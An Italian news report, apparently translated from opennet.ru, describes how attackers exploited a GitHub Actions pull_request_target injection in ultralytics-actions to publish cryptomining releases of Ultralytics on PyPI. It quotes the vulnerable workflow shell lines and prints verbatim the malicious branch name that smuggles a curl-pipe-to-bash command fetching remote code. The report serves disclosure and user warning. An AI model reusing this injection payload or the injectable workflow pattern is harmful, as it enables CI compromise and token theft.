Un errore nel gestore di GitHub Actions ha portato alla pubblicazione di versioni dannose di Ultralytics

I malintenzionati sono riusciti a eseguire codice con i privilegi di un gestore di GitHub Actions nel repository della libreria Python Ultralytics, utilizzata per risolvere compiti di visione artificiale, come il riconoscimento di oggetti nelle immagini e la segmentazione delle immagini. Dopo aver ottenuto accesso al repository, gli attaccanti hanno pubblicato nella directory PyPI diverse nuove release di Ultralytics, contenenti modifiche dannose per il mining di criptovalute. Nell'ultimo mese, la libreria Ultralytics è stata scaricata più di 6,4 milioni di volte dalla directory PyPI.

Per compromettere il repository è stata sfruttata una vulnerabilità nel pacchetto ultralytics-actions, utilizzato per l'avvio automatico di gestori durante specifiche azioni sul repository di GitHub, sfruttando il meccanismo di GitHub Actions. Nel progetto ultralytics, il gestore vulnerabile era associato all'evento pull_request_target e veniva attivato al ricevimento di nuove pull request. In particolare, per la formattazione del codice nelle pull request inviate veniva chiamato il gestore format.yml e veniva eseguito il codice specificato nella sezione «run» del file action.yml, in cui erano presenti comandi shell con modelli di sostituzione: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»

In questo modo, il nome del ramo Git menzionato nella pull request veniva inserito nei comandi shell senza adeguata escapatura. È interessante notare che ad agosto nel pacchetto ultralytics-actions era già stata corretta una vulnerabilità simile, legata all'uso di un valore esterno nella funzione echo: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»

Per eseguire il proprio codice nel contesto del gestore GitHub Actions, gli attaccanti hanno inviato una pull request al repository ultralytics, specificando come nome del ramo: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Pertanto, al momento della ricezione della pull request, nel codice è stata inserita la stringa fornita dagli attaccanti «$(…)», che al successivo avvio del gestore ha portato all'esecuzione del codice «curl -sSfL raw.githubusercontent.com/…/file.sh | bash».

Un errore nel gestore di GitHub Actions ha portato alla pubblicazione di versioni dannose di Ultralytics

L'esecuzione del codice nel contesto di GitHub Actions può essere utilizzata per catturare token di accesso al repository e altri dati riservati. Non è ancora chiaro come gli attaccanti siano riusciti a formare una release, ottenendo la possibilità di eseguire il proprio codice in GitHub Actions; si presume che ciò sia stato reso possibile grazie a una modifica del gestore publish.yml (gli attaccanti hanno rimosso il controllo dell'account autorizzato a pubblicare release in PyPI) e all'uso di tecniche di avvelenamento della cache di build di GitHub Actions per inserire i propri dati nella release.

La prima release malevola Ultralytics 8.3.41 è stata pubblicata da malintenzionati nel catalogo PyPI il 4 dicembre alle 23:51 (MSK) ed è stata rimossa il giorno dopo alle 12:15. Alle 15:47 è stata rilasciata un'ulteriore release 8.3.42, che è stata rimossa alle 16:47. Le versioni malevole sono state quindi disponibili per il download per circa 13 ore (in un giorno in PyPI vengono registrate circa 250.000 download della libreria ultralytics). Le release 8.3.41 e 8.3.42 contenevano codice che effettuava il download di un componente esterno. server XMRig per il mining di criptovaluta.

Gli sviluppatori del progetto hanno risolto il problema e hanno creato release correttive 8.3.43 e 8.3.44, ma dopo due giorni è stata effettuata un'altra attacco, durante il quale i malintenzionati hanno pubblicato oggi alle 04:41 e alle 05:27 (MSK) due ulteriori release malevole — 8.3.45 e 8.3.46, contenenti diverso codice per il mining. Fino alla conclusione dell'inchiesta, si raccomanda agli utenti di procrastinare l'installazione delle nuove versioni e di fissare come dipendenza la release 8.3.44.

Fonte: opennet.ru

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster